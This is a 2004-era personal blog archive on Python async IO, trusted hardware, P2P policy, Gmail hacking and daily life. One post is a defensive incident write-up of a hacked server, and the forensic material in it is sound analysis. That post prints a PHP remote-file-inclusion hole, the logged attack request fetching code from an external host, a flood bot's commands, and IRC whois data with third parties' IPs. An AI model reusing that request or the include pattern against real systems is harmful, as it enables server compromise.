  Just to make it clear - I don't think that RPOW is going anywhere practically. A currency backed by a non-scarce resource isn't going to work. Worse yet, Moore's Law suggests an inflation rate of about 160% per year, right?

  PEP 334

  (background reading: PEP 334)

  Can you believe that I'm still going on about async IO programming? Well if someone would get it right I could shutup

  My current framework du jour is one I did myself based on Stackless. Yes, I've played with Twisted a lot, and I'm not a huge fan. For one, the core itself isn't 1.0 standard (the reactors still have stupid bugs where they listen on closed sockets and short circuit) and the http code is unusable in a hostile environment.

  Stackless provides user-land threads and my framework is pretty standard. The main problems are that having to patch the python interpreter is a pain and there are a few parts of Stackless that I don't quite understand - mostly because the documentation isn't there.

  PEP 332 promises some of same things as stackless - but in the standard CPython. Let's look at a Python generator:

  def gen():
      a = 1
      yield a
      yield 2

  This function returns multiple values and keeps state between invocations. The ability to keep state is very similar to user-land threads and one can easily imagine a generator which yields values from a socket. However, when the operation blocks the generator would have to yield a out-of-band value to denote this. Every use of the socket generator would then have to handle this - dragging the code quickly into the realm of the unreadable and unwritable.

  This issue is very similar to error handling and we have a way to cope with this - exceptions. So the idea of PEP 334 is to allow generators to raise a SuspendIteration exception without destroying themselves. (At the moment, once a generator has raised an exception it is finished.) The SuspendIteration would carry a payload of the objects which it is blocking on.

  The top of the call chain would be the IO core which would call each top-level suspended iterator (which would call others etc) until it hit a blocking IO operation and raised SuspendIteration. This would run back up the call chain and the IO core would make note of which objects (sockets etc) which that generator is blocking on. Later if those objects become ready the generator can be called again and allowed to progress.

  So the first issue is that there's no way to poke an exception into the bottom of a generator. (The ability to poke a TimedOut exception is very useful.) But, so long as all the blocking objects (wrappers around sockets, Channels, Mutexes etc) pay attention to a global variable they could be made to raise a given exception.

  Thus I cheer PEP 334 onwards because it could lead to a nice IO framework that works in all the pythons without patching.

  So, I'm done. And I cunni...

  So, I'm done. And I cunningly left before anything major that I wrote was used in anger

  Just random things: TiddlyWiki is very cool. Mix in a little WebDAV and XMLHttpRequest and it would be really useful.

  Good essay from Mr Schneier again.

  The Hitchhiker episode went out and I quite liked it. I perfer the old Book and I don't think the script is quite as sharp this time (but how could it be?) - but I like it. I've written code to record RealPlayer to OGG, but it's a pain to use and I don't I have it on my laptop. Maybe I'll be able to record next week's

  Another series that I wish I had recorded (still going) is Mr Hardy's current work. Probably the best thing on radio at the moment.

  Long time - no post. And ...

  Long time - no post. And even now it's not going to be very long.

  It's my last week at Google and it's going to be a very busy one. Of course, I can't say what I'm doing but maybe one day it will be public and I can point.

  But more importantly - and I'm sure that readers will know this, but - the new Hitchhikers series starts today in about 11 hours. This is not optional. If you don't listen to this people will be spitting at you on the street tomorrow. Well, may not, but I happen to think that you should listen. In years gone by I could (with a little prompting) receit most of the original radio series.

  So, you have your mission for the day and while you're waiting maybe you should read this. With the `second war' starting in Iraq (e.g. they've run out of space under the carpet) and all. Freeing people sure seems to cost of lot of money and lives.

  Google misinformation

  Slashdot: Google has now taken it one step further and created a word-identification script filter as part of the login process.. Let's clear this up no they haven't.

  I can only assume that what this person is seeing is the anti-bruteforce measures which only kick in when you trigger an alarm that a script is trying to brute force your password. Good luck finding anyone on /. who has actually checked the publically accessable frontpage to see that the story is crap.

  Switched servers. This is...

  Switched servers. This is more a message for me so that I know which server I'm looking at!

  New photos up...

  New photos up

  A little while back all t...

  A little while back all the talk was of Palladium and how `trusted hardware' was going to bring forth an end to general purpose computing. (I'm not ridiculing that notion - it may happen, though I think it's less likely now.) I remember being in a hotel in Guildford at the time so I guess that was summer 2002.

  People were horrified at this prospect and never have so many people linked to a A Right To Read in such a short span of time. But I was arguing something different at the time:

  Just because TCPAv1
  *may* be a stepping stone towards something bad doesn't automatically make
  TCPAv1 bad. As Hal and I have pointed out, TCPAv1 has a number of interesting
  uses and I, for one, will not be asking people to boycot it.

  Now, I don't pretend that anyone gave two hoots about what I thought once Hal popped up. But this is a kind of "told you so" link because Hal has now gone and proven that there is a use to this stuff with RPOW.

  Normally POW tokens can't be reused because that would allow them to be double-spent. But RPOW allows for a limited form of reuse: sequential reuse. This lets a POW token be used once, then exchanged for a new one, which can again be used once, then once more exchanged, etc. This approach makes POW tokens more practical for many purposes and allows the effective cost of a POW token to be raised while still allowing systems to use them effectively.

  I'm not yet convinced that RPOW is actually very useful, but that isn't the point. The point is that I have a strong chain of trust that Hal's server does what he says it does. It's running on an IBM 4758 and IBM publishes the root key for that in lots of places, including every printed manual. That keys signs the onboard key of the 4758 and the 4758 signs that code that it's running. I have a decent amount of trust in IBM because they are certified by NIST and they sell lots of these to the banking sector - so they have a strong financial interest in keeping things above board.

  This is a fundamentally different primitive to those which we are used to dealing with. Usually we need either reputation systems, trusted third parties or verifiable proofs of correctness (very rare). In a sense IBM here is a trusted third party but they are one level removed; we aren't trusting them to implement some protocol, but to make devices which can be configured to implement the protocol. There's a saying that every problem in computer science can be solved by implementing another layer of abstraction so we should be pretty excited about what this new layer gives us.

  Of course, it's not some magic bullet. Not very many people have 4758's they aren't going to become standard anytime soon. Also, they are pretty slow. But can do a number of things which I couldn't do before:

  I could implement a notary public and people would have a strong trust that it functioned correctly without knowing anything about me. I can do stuff like Hal's RPOW (or a number of financial things) and people could verify that I wasn't doing anything untoward etc. I'm sure that more ideas will pop up now that this is in our collective mental toolkit.

  How this relates to TCPA:

  Now, TCPA also includes remote attestation (the ability to sign the running code) but I feel that this is almost completely useless. For a start there will probably be a number of producers of TCPA chips and this dilutes the trust quite a lot already. Secondly, TCPA chips aren't going to be nearly so hard to subvert as a 4758. The 4758 isn't perfect (no tamper-resistance is), but FIPS level 4 says it's pretty good. Thirdly, it's utterly pointless for the TCPA to sign a Linux or NT kernel image; the trust flowing through either of those to a given running application (assuming that they had been modified so that they could sign the code that they were running) is tiny. At best, the application would have to implemented as a very stripped down kernel - making the box useless for anything else.

  But TCPA does have sealing (the ability to encrypt data keyed by the fingerprint of the running kernel). the first two points above still apply, but what I want this for to is to storing the encryption key for the hard drive so that it cannot be removed and inspected on another computer (or booted with another kernel from a floppy etc).

  So I still think that TCPA has a place … but not remote attestation.

  Heeps cracked

  Seeing an email titled "UMMMM.... BAD BAD THINGS ON HEEPS" isn't the best start to a day. In fact, I would go as far as to say that it sucks.

  So heeps is heeps.union.ic.ac.uk, also known as www.union.ic.ac.uk and a whole lot of other hosts. the email from Sam:

  sjs298@heeps music $ sudo ps aux | grep pra
  Password:
  www_soc  12644  0.0  0.0  1420  236 ?        S    Jul21   0:00 ./pra
  sjs298@heeps music $ sudo netstat -ap | grep pra
  tcp        0      0 *:18383                 *:*                     LISTEN      12644/pra          
  sjs298@heeps music $ telnet localhost 18383    
  Trying 127.0.0.1...
  Connected to localhost.
  Escape character is '^]'.
   
  sh-2.05b$ whoami
  whoami
  www_soc_medic_music
  sh-2.05b$
  
  Now I'd class that as a Hack... probably via PHPBB.
  /www/doc_root/medic/music/forums < PHPBB 2.0.4

  Certainly phpBB has been a pain in the past and this is why all php scripts run as a special, per group, user on heeps. But ok, not a huge deal. Security measures had worked, they didn't seem to have root and there were all manner of limits in place.

  We also have great logging:

  Aug 12 23:13:15 heeps grsec: From 65.102.167.50: exec of /bin/bash (sh
  -c /tmp/dsadas;rm -f /tmp/dsadas ) by (php:26669) UID(9113)
  EUID(9113), parent (php:30434) UID(9113) EUID(9113)
  Aug 12 23:13:15 heeps grsec: From 65.102.167.50: exec of /tmp/dsadas
  (/tmp/dsadas ) by (sh:4796) UID(9113) EUID(9113), parent (sh:26669)
  UID(9113) EUID(9113)
  Aug 12 23:13:15 heeps grsec: From 65.102.167.50: exec of
  /tmp/upxDC5HNIQAEV2 (deleted) (/tmp/dsadas ) by (dsadas:4796)
  UID(9113) EUID(9113), parent (sh:26669) UID(9113) EUID(9113)
  Aug 12 23:13:15 heeps grsec: From 65.102.167.50: exec of /bin/rm (rm
  -f /tmp/dsadas ) by (sh:9657) UID(9113) EUID(9113), parent (sh:26669)
  UID(9113) EUID(9113)

  Fairly standard. Unfortunately we didn't have the binary (it was deleted) and it was killed before we remembered to grab it out of /proc.

  Looking in the logs:

  www.union.ic.ac.uk 65.102.167.50 - - [12/Aug/2004:23:13:15 +0100] "GET
  /medic/music/index.php?id=http://65.102.167.50:113/&width=http://65.102.167.50:113/
  HTTP/1.0" 200 48920 "-" "Lynx/2.8.3dev.8 libwww-FM/2.14"

  So it wasn't phpBB. There's a first. (nb: I'm sure that recent versions of phpBB are wonderfully quickly patched etc, but most of our users can't be bothered to keep track of recent versions.) The code at fault was fairly obvious:

  if ($_GET['eventreview']) { @include "8.php" ; $id="8.php"; } elseif ($event)
  {@include "2.php"; $id="2.php";} elseif  (!$id) { @include "1.php";
  $id="1.php" ; } else { include "$id"; } ;

  It include'ed a user controled string and someone just pointed it at an external webserver. Boilerplate.

  Further information in the logs showed that most of the server had been crawled a few days beforehand. Any URLs with parameters in them were tried again while replacing the parameter value with an external php file which ran id or uname -a. Looks like an automated crawled designed to find scripts with these holes. This crawl was comming from a number of different hosts, using a number of different external values.

  Ok, fine. Email the owner of the source IP address (probably a compromised box), disable the offending code, email the owner of said code. Easy. Done.

  Sam collected together some random files owned by the compromised account in /tmp. Of these, there was a binary called moo. Strings suggests that it's an IRC controlled flood bot:

  NOTICE %s :TSUNAMI <target> <secs>                          = Special packeter that wont be blocked by most firewalls
  NOTICE %s :PAN <target> <port> <secs>                       = An advanced syn flooder that will kill most network drivers
  NOTICE %s :UDP <target> <port> <secs>                       = A udp flooder
  NOTICE %s :UNKNOWN <target> <secs>                          = Another non-spoof udp flooder
  NOTICE %s :NICK <nick>                                      = Changes the nick of the client
  NOTICE %s :SERVER <server>                                  = Changes servers
  NOTICE %s :GETSPOOFS                                        = Gets the current spoofing
  NOTICE %s :SPOOFS <subnet>                                  = Changes spoofing to a subnet
  

  Ok, semi interesting. A few hours later (I am supposed to do some work at Google sometimes!) I came back to check around. Everything looks ok, though ifconfig is showing a lot of traffic. lsof -i -n … oh crap

  … moo processes - flooding some poor bastard. (Did I say that heeps is on a 100Mb/s link to the Internet?).

  Panic. Kill them. Shutdown apache, vsftpd, everything. Move sshd onto a different port. Does ps auxw show anything odd? Nope. lsof or netstat? Nope. Packet counts? Epsilon. Root compromise? Possible; but ps auxw showed the moo processes - if that's a rootkit it sucks.

  Look in the logs:

  Aug 13 16:03:50 heeps grsec: From 155.198.78.202: exec of /tmp/moo (./moo ) by
  (bash:14746) UID(1246) EUID(1246), parent (bash:17808) UID(1246) EUID(1246)

  So the flooder process had been running for about six hours. No - I'm not even going to work out how much data you can push down a 100Mb/s link in six hours. UID 1246? That's Sam. Did he accidently run the damm payload? Is the box rooted? Fundamentally, does moo do anything more than strings suggests? I need to know exactly what moo does.

  So setup a chroot jail here at Google. Put strace in it, su to a random UID and setup a firewall to stop that UID contacting the outside world.

  2808  open("/usr/dict/words", O_RDONLY) = -1 ENOENT (No such file or directory)
  2808  socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
  2808  socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 4
  2808  connect(4, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("0.0.0.0")}, 28) = 0
  2808  send(4, "\217Z\1\0\0\1\0\0\0\0\0\0\3irc\5efnet\2nl\4corp\6g"..., 46, 0) = -1 EPERM (Operation not permitted)
  2808  close(4)                          = 0
  2808  socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 4
  2808  connect(4, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("0.0.0.0")}, 28) = 0
  2808  send(4, "\217Z\1\0\0\1\0\0\0\0\0\0\3irc\5efnet\2nl\4corp\6g"..., 46, 0) = -1 EPERM (Operation not permitted)
  2808  close(4)                          = 0
  2808  socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 4
  2808  connect(4, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("0.0.0.0")}, 28) = 0
  2808  send(4, "\217Z\1\0\0\1\0\0\0\0\0\0\3irc\5efnet\2nl\4corp\6g"..., 46, 0) = -1 EPERM (Operation not permitted)
  2808  close(4)                          = 0
  2808  socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 4
  2808  connect(4, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("0.0.0.0")}, 28) = 0
  2808  send(4, "\217[\1\0\0\1\0\0\0\0\0\0\3irc\5efnet\2nl\0\0\1\0\1", 30, 0) = -1 EPERM (Operation not permitted)
  2808  close(4)                          = 0
  2808  socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 4
  2808  connect(4, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("0.0.0.0")}, 28) = 0
  2808  send(4, "\217[\1\0\0\1\0\0\0\0\0\0\3irc\5efnet\2nl\0\0\1\0\1", 30, 0) = -1 EPERM (Operation not permitted)
  2808  close(4)                          = 0
  2808  socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 4
  2808  connect(4, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("0.0.0.0")}, 28) = 0
  2808  send(4, "\217[\1\0\0\1\0\0\0\0\0\0\3irc\5efnet\2nl\0\0\1\0\1", 30, 0) = -1 EPERM (Operation not permitted)
  2808  close(4)                          = 0
  ...

  That's edited a lot. It just started flooding DNS requests. So, I let it contact a DNS server and connect to irc.efnet.nl.

  2837  connect(3, {sa_family=AF_INET, sin_port=htons(6667), sin_addr=inet_addr("193.109.122.77")}, 16) = 0
  2837  setsockopt(3, SOL_SOCKET, SO_LINGER, NULL, 0) = -1 EINVAL (Invalid argument)
  2837  setsockopt(3, SOL_SOCKET, SO_REUSEADDR, NULL, 0) = -1 EINVAL (Invalid argument)
  2837  setsockopt(3, SOL_SOCKET, SO_KEEPALIVE, NULL, 0) = -1 EINVAL (Invalid argument)
  2837  write(3, "NICK MXQC\nUSER HNMKFQ localhost localhost :LTQQEFD\n", 51) = 51
  2837  select(4, [3], NULL, NULL, {1200, 0}) = 1 (in [3], left {1200, 0})
  2837  recv(3, "NOTICE AUTH :*** Looking up your hostname...\r\nNOTICE AUTH :*** Checking Ident\r\nNOTICE AUTH :*** Found your hos
  tname\r\n", 4096, 0) = 117
  2837  select(4, [3], NULL, NULL, {1200, 0}) = 1 (in [3], left {1190, 600000})
  2837  recv(3, "NOTICE AUTH :*** No Ident response\r\n", 4096, 0) = 36
  2837  select(4, [3], NULL, NULL, {1200, 0}) = 1 (in [3], left {1199, 830000})
  2837  recv(3, "PING :936DFE7C\r\n", 4096, 0) = 16
  2837  write(3, "PONG :936DFE7C\n", 15)  = 15
  2837  select(4, [3], NULL, NULL, {1200, 0}) = 1 (in [3], left {1199, 820000})
  2837  recv(3, ":irc.efnet.nl 001 MXQC :Welcome to the EFnet Internet Relay Chat Network MXQC\r\n", 4096, 0) = 79
  2837  write(3, "MODE MXQC -xi\n", 14)   = 14
  2837  write(3, "JOIN #krowy :krowa\n", 19) = 19
  ...

  So it joins a private IRC channel. I can do that. A @google.com address got me banned pretty quickly. But not before I got a whois on everyone there:

  --- [FDMYSGLM] (GIWcF7CNSH@badboy.icyhost.com) : UUTIDJJH
  --- [FDMYSGLM] @#krowy 
  --- [FDMYSGLM] irc.efnet.nl :Business Internet Trends IPv4/IPv6 EFNet server
  --- FDMYSGLM 66.98.130.9 :actually using host
  --- [FDMYSGLM] idle 49:13:19, signon: Tue Aug 10 15:54:49
  --- [FDMYSGLM] End of WHOIS list.
  --- [forger] (konrad@aay116.neoplus.adsl.tpnet.pl) : I'm too lame to read mirc.hlp
  --- [forger] #hihaho #test45 @#krowy 
  --- [forger] irc.efnet.pl :Discover a lost art - www.marillion.com
  --- [forger] End of WHOIS list.
  --- [its`me] (~ludziu@nat-0.infoland.int.pl) : ^=^
  --- [its`me] @#krowy 
  --- [its`me] irc.efnet.pl :Discover a lost art - www.marillion.com
  --- [its`me] End of WHOIS list.
  --- [MQJJEBR] (~WTKC@pc-212-51-219-2.p.lodz.pl) : DILLEUN
  --- [MQJJEBR] @#krowy 
  --- [MQJJEBR] irc.efnet.nl :Business Internet Trends IPv4/IPv6 EFNet server
  --- MQJJEBR 212.51.219.2 :actually using host
  --- [MQJJEBR] idle 49:13:27, signon: Tue Aug 10 16:01:19
  --- [MQJJEBR] End of WHOIS list.
  --- [ori00n] (h4x0r@dial-770.wroclaw.dialog.net.pl) : l33t
  --- [ori00n] #test45 #cc @#krowy 
  --- [ori00n] irc.efnet.pl :Discover a lost art - www.marillion.com
  --- [ori00n] End of WHOIS list.
  --- [YDMOCCRO] (~KQFU@banks.su.nottingham.ac.uk) : JHASTZIH
  --- [YDMOCCRO] @#krowy 
  --- [YDMOCCRO] irc.efnet.nl :Business Internet Trends IPv4/IPv6 EFNet server
  --- YDMOCCRO 128.243.90.87 :actually using host
  --- [YDMOCCRO] idle 49:13:32, signon: Tue Aug 10 16:48:28
  --- [YDMOCCRO] End of WHOIS list.
  --- [agl] (~agl@216-239-45-4.google.com) : agl
  --- [agl] #krowy 
  --- [agl] irc.efnet.nl :Business Internet Trends IPv4/IPv6 EFNet server
  --- agl 216.239.45.4 :actually using host
  --- [agl] idle 00:00:49, signon: Fri Aug 13 14:07:34
  --- [agl] End of WHOIS list.
  --- [MITPIXPN] (~BJSAQXGU@211.239.197.130) : MIHSH
  --- [MITPIXPN] #krowy 
  --- [MITPIXPN] irc.efnet.nl :Business Internet Trends IPv4/IPv6 EFNet server
  --- MITPIXPN 211.239.197.130 :actually using host
  --- [MITPIXPN] idle 00:18:13, signon: Fri Aug 13 13:50:23
  --- [MITPIXPN] End of WHOIS list.
  --- [NKKXLTC] (www-data@rei.animehq.hu) : WSOV
  --- [NKKXLTC] #krowy 
  --- [NKKXLTC] irc.efnet.nl :Business Internet Trends IPv4/IPv6 EFNet server
  --- NKKXLTC 195.70.50.20 :actually using host
  --- [NKKXLTC] idle 00:19:31, signon: Fri Aug 13 13:49:00
  --- [NKKXLTC] End of WHOIS list.
  --- [PHQW] (~FNWDDYH@dsl-213-023-046-090.arcor-ip.net) : SYEV
  --- [PHQW] #krowy 
  --- [PHQW] irc.efnet.nl :Business Internet Trends IPv4/IPv6 EFNet server
  --- PHQW 213.23.46.90 :actually using host
  --- [PHQW] idle 00:11:23, signon: Fri Aug 13 13:57:17
  --- [PHQW] End of WHOIS list.
  --- [VQMVYOHE] (~WEEBA@211.239.197.130) : HBQFDHTF
  --- [VQMVYOHE] #krowy 
  --- [VQMVYOHE] irc.efnet.nl :Business Internet Trends IPv4/IPv6 EFNet server
  --- VQMVYOHE 211.239.197.130 :actually using host
  --- [VQMVYOHE] idle 00:18:09, signon: Fri Aug 13 13:50:34
  --- [VQMVYOHE] End of WHOIS list.

  Looks like forger is running the game as he quickly kicks the jailed moo bot that I'm running (also from @google.com). He then changes his nick to shitniz, like it will help.

  But thankfully moo seems to do exactly what it says on the tin; so probably not a problem. Oh, and that channel is now invite only. I guess he got scared. shitniz is still there thou.

  Patch to add SPF to Gento...

  Patch to add SPF to Gentoo qmail.

  Based on http://www.saout.de/misc/spf/

  Gmail backending

  Did you know that .org pushes now happen about every 5 minutes? I was certainly pretty surprised last night. Now if only they didn't have silly registration and server number restrictions at the gTLD level the DNS system might not be a complete pile of doggy poo.

  And the reason why I was playing with DNS is that IV now has a new mail server. Say hello to zool.imperialviolet.org every one, the third server to have an .imperialviolet.org name (I wonder if anyone here remembers tzu and metis?). Hopefully this should fix the mail bouncing problems that dodo was having. And, if anyone wants hosting for mail servers etc now is the time to ask.

  The switch of servers has broken automatic email bots (that's comments and keyverify), but I'm running them manually at the moment so you can still use them all the same. And boy do people use keyverify a lot. I wasn't expecting any traffic but I've had to deal with about 10 messages today from that.

  I was being a little silly yesterday. If one was going to implement a new backend for the gmail javascript, there's an obvious choice ... gmail. Gmail does a perfect job of storing and sorting mail, just forward the queries onto them!

  Before you wonder what the hell the point of re-backing gmail only to forward them to the real gmail is, remember the motivation. I want email messages to be sent from the right place, with the right From address so all I have to do is intercept the "send email" POST and a) send the email from zool b) send it onto gmail with a blackhole email address.

  That's it. Now, if you don't like the idea of gmail storing your email then you really do have to do the whole thing. But I know that gmail stores lots of copies of my mail and that they aren't profiling it. For the moment I'm happy with Google managing my email and this simple solution is great (I think that would go for many people).

  But after a while, someon...

  But after a while, someone needs to make a change, and inevitably, they break your code. Do you suppose they'll notice? Not likely. But you will, when google.com starts serving elephant porn on 11 million searches. Stop elephant porn before it starts by writing unit tests for all your code.

  Why hasn't anyone back-en...

  Why hasn't anyone back-ended gmail? Seriously, it's a client side app, that means you can take the javascript and reimpliment the server. It's not that hard! Lots of people seem to be doing different clients for gmail (injectors, notifiers etc) - but I want a different backend!

  I don't want my address to be @gmail (and Reply-To isn't good enough). At the moment the server which handles imperialviolet.org email is upset so I don't even have my Reply-To set. But I'm switching to a different server soon and I want a gmail server to install!

  Seriously, it's easy, I copied implimented a NULL backend for gmail in about 30 minutes. The list of email is static and nothing actually works but all the data looks like:

  D(["t",["fe4e30d37ca51d9",0,0,"7:11am","\<span id=\'_user_rmages@linux-azur.org\'\>Rene Mages\</span\>","&nbsp;","Software Patents : Postcard Action",
  "Hi all, Probably, the EU Software patent Directive should return to the European Parlement during &hellip;",[]
    ,"","fe4e30d37ca51d9",0]

  It's not that tough. Python provides mailbox parsing, IMAP clients etc (if you want).

  Unfortuantely, I don't have the time.

  Storage for archive.org...

  Storage for archive.org

  A quick commentary on the...

  A quick commentary on the letter sent by many attorneys general the `peer-to-peer software' producers.

  At present, P2P software has too many times been hijacked by those who use it for illegal purposes to which the vast majority of our consumers do not wish to be exposed.

  I hate to point out that the reason that most people use P2P networks is to be exposed to these `illegal purposes'. Look at the usage numbers for Napster before and after it went `legal'.

  P2P file-sharing technology works by allowing consumers to download free software that enables them to directly share files stored on their hard drive with other users. This type of direct access to one's computer differentiates P2P file-sharing technology from garden-variety e-mail accounts and commercial search engines such as Google and Yahoo.

  As opposed to the bleeding obvious differences between P2P and email/search engines?

  One substantial and ever-growing use of P2P software is as a method of disseminating pornography, including child pornography.

  Yep. True at least.

  Consequently, P2P users need to be made aware that they are exposing themselves, and their children, to widespread availability of pornographic material when they download and install P2P file-sharing programs on their computers.

  While sensible I'm guess that most people realise this. Esp after their first IE session where after they are let with dozens of popup windows of porn.

  Furthermore, P2P file-sharing technology can allow its users to access the files of other users, even when the computer is "off".

  Seriously, no. It really can't.

  P2P users, including both home users and small businesses, who do not properly understand this software have inadvertently given other P2P users access to tax returns, medical files, financial records, personal e- mail, and confidential documents stored on their computers. ... Consequently, P2P users need to be properly educated so that they will not inadvertently share personal files on their hard drives with other users of your P2P file-sharing technology.

  And this is small fry when compared to the amount of information leaked by viruses, photocopiers and leaving one's breifcase on the roof of the car as you drive away. (And, in the case of the British secret service, leaving your laptop in the pub). Since when do attorneys general bother themselves with people being stupid?

  The illegal uses of P2P technology are having an adverse impact on our States consumers, economies, and general welfare.

  Of course, this statement is asserted without justification and is debatable at best.

  P2P file-sharing programs also are being used to illegally trade copyrighted music, movies, software, and video games, contributing to economic losses. The Business Software Alliance estimates that its members lost $13 billion in revenue last year due to software piracy. According to a February 20, 2004 CNN article, U.S. software companies lose up to $12 billion a year in piracy according to the Software and Information Industry Association. Music companies lost more than $4.6 billion worldwide last year, according to the RIAA [Recording Industry Association of America] and movie industry officials pegged their annual losses from bootlegged films at more than $3.5 billion.

  at least here they give their sources, and what independant sources they are too. Generally `losses', as calculated in these figures are an estimate of the number of copied works (rounded up) times the retail cost. Which is assuming that every download is a lost sale.

  We would ask you to take concrete and meaningful steps to avoid the infringement of the privacy and security of our citizens by bundling unwanted spyware and adware with your software.

  I don't think they actually meant what they wrote here, but it's at least a little ray of light if I'm reading it (in)correctly.

  Encryption only reinforces the perception that P2P technology is being used primarily for illegal ends. Accordingly, we would ask you to refrain from making design changes to your software that prevent law enforcement in our States from investigating and enforcing the law.

  I think that law-enforcement already has plenty of powers to deal with this - upto and including installing keyloggers on suspect's computers.

  We believe that meaningful steps can and should be taken by the industry to develop more adequate filters capable of better protecting P2P parents and children from unwanted or offensive material. Not warning parents about the presence of, and then reasonably providing them with the ability to block or remove, obscene and illegal materials from their computers is a serious threat to the health and safety of children and families in our States.

  What the hell are `P2P parents'? Most of the parents I know are of the regular kind, and that kind are perfectly capable of supervising their children.

  Lots of Python magicHolog...

  • Lots of Python magic
  • Holographic fractals

  Subway

  It seems that Subways are breeding like Starbucks these days. And I kind of understand why, they are certainly a step up (quality wise) from McDonalds and those of that ilk. But, in the UK, I avoid them because buying anything is too stressful.

  Subway take the idea of choice very seriously - you can choose your bread, your type of cheese, your toppings, almost anything. But cost pressure means that they are usually staffed by foreign workers; and foreign workers are great, esp female ones. But they often don't have the soundest grasp of English.

  A Subway visit usually consists of a whole barrage of questions in semi-English with a queue of people behind you. Since I have no idea what they're saying I usually resort to answering "Please", "No thanks", "Not today thanks", ... randomly. And often they don't understand my reply so I end up getting something that I didn't ask for and didn't know what it was in the first place. It's astounding that, with all this confusion, I don't end up with a 9 foot sub packed full of strawberry jam, condensed milk and ready salted crisps.

  But I've now discovered the driving force behind Subway - Californian workers. It's almost sickening how pleasant Californian shop assistants are. Buying a carton of milk involves, at least, "Hi! How are you? What a great day! Let me ring those up for you. So that's three bucks ... that's great. There you go, there's you milk. Have a wonderful weekend! No really, have a really great weekend - hope to see you again. Bye now!".

  I fear that if I ever find a shop assistant in this place who tells me to fuck off I'll end up dancing in the street with glee.

  But it seems that working at Subway is boring enough to take some of the edge of whatever drugs the people round here are on - but leave someone who can speak English. And since I now know what the hell I'm asking for I actually get a decent meal.

  Which is good, because all the shops round here seem to sell by the metric tonne. Thank god Google feeds me the rest of the time.

  Ohh, PyBloom made the del...

  Ohh, PyBloom made the del.icio.us popular list. Ahh, the feeling of little fame .

  • Expect a copyright extension attempt soon
  • Old news, but in case anyone missed it - new Hitchhikers radio series.

  Bloom filters

  In reply to The Register: Archive.org suffers Fahrenheit 911 memory loss:

  > But just hours after putting up the movie, Archive.org pulled it down
  
  Although Moore is the creator of the film, that doesn't mean that he holds the
  copyright. The copyright law is very broken. Archive.org knows this and is
  doing it's best to fix it[1]. However, organisations are still bound by the
  rule of law
  
  [1] http://www.archive.org/about/dmca.php
  
  > "Then, it called Archive.org to remove any trace of the interview at all".
  
  Given that there's a six month delay till content hits the Wayback Machine, I
  very much doubt that.
  
  > "and how a "library" can obey this request defies comprehension"
  
  Welcome, once again, to the law. I'm sorry that archive.org doesn't do the
  Right Thing - irrespective of the law. We would all like several aspects of the
  law to be changed, but the way to do that is quite well known. Small
  organisations which break the law don't change it - they cease to exist.
  
  You know, if you want to host all the copyrighted content in the US, for free
  and take on the RIAA + MPAA etc. Go ahead and fund it. I'm guessing that you're
  not willing to take that personal risk. You'll just keep attacking others for
  not doing it for you.
  
  Archive.org isn't perfect - it's struggling to archive all the content that it
  legally can without the funds or the lawers to do so. But it's trying.
  
  Next time it's a slow news day - take a walk.
  
  AGL

  There doesn't (for some strange reason) seem to be any good Python source for Bloom filters. There's a Sourceforge project, but that uses mpz for hashing, which is deprecated. So I've written PyBloom which impliments counting and standard bloom filters.

  Well, the kernel patch I ...

  Well, the kernel patch I need to impliment capability systems has been written by Andrea Arcangeli.

  Stackless twisted Python ...

  Stackless twisted Python proof-of-concept code that I wrote today.

  Toilets at Google

  MD5 cracking in seconds

  The toilets at Google have no less than 22 buttons (yep, I did count them). As wiping ones own butt is oviously far too great a burden these days these toilets have a little `wand' that can come out and spray water up your arse (or at the front for the girls ... or the boys I suppose) - that's 5 buttons.

  The seat and spray water are also heated (4 buttons) and the wand can be moved back and forth (2 more). It can self-clean (many buttons) and do stuff on a timer. It even has a button to flush!

  Frankly - I can't write about most of the stuff that goes on here so that's why I'm talking about the toilets. But I'm doing great

  Got here - not dead

  Well - in flight entertainment keeps getting better every time I fly. Today I had full video on demand with a good selection of films and that makes the flight so much nicer. Now, you may be one of those people who can sleep on planes - but I'm not. I need something .. anything .. do to and Virgin Atlantic now has my custom until I hear that someone else does it better.

  Unfortunately, the good flight was balanced by a god-awful customs lines. It wasn't that they gave me a hard time (I did have to give two fingerprints thou) but it was training day. And thus everything went very slowly. Very, very slowly.

  Yay! Unsecured wireless a...

  Yay! Unsecured wireless access point at home! Unfortunately, I have to balence my laptop on a box, on the window ledge for it to work. But it's a good 60KB/s link.

  So, thanks to that and the (not as good as emerge, but still ok) apt-get my old laptop now has X 4.3.0 with subpixel rendering and Firefox 0.9.

  Also, it seems that people don't like the Speex codec - I guess technical quality isn't everything so I'll upload the raw WAVs for the NotCon talk tonight. (Assuming someone doesn't turn this AP off).

  For anyone who has ever w...

  For anyone who has ever wondered what the picture and quote at the top of the front page was all about, then see today's featured article on Wikipedia.

  I have far too little tim...

  I have far too little time to do this properly, but I'm managed to do a little of the NotCon cutting. There were a lot of cool people there - some of them were even speaking, but Brewster Kahle's Talk blew me away. I really think that everyone should listen to this.

  (Speex codec homepage← codex that I used)

  I'm tidying up, ready to ...

  I'm tidying up, ready to move home. Just next to my desk I've a piece of paper upon which I scribble down words that I don't know and later I lookup the definitions. Since any scrap of paper will get lost in the move I've typed it up:

  chutzpah	utter nerve
  trite	lacks power because of overuse
  churl	a bad tempered person
  entheogenesis	creating the divine within
  paragon	excellence, a peerless example
  experiential	from experience
  exonym	a name given by secondary persons
  Mesopotamia	between the rivers (Greek)
  panspermia	interplanetary seeding
  monograph	definitive work on the subject
  miscegenation	breeding between whites and non-whites

  Firstly, you can stop ema...

  Firstly, you can stop emailing me about gmail invites now. I've gone through six nine of them and I've run out. However, pretty much all of Dramsoc has an account now.

  Gary is still copying the recording of NotCon onto a hard drive - so that's not done either.

  I've just been busy with nothing in particular and nothing particularally interesting. I've just posted a Python module for finding the maximal flow in networks if anyone is interrested.

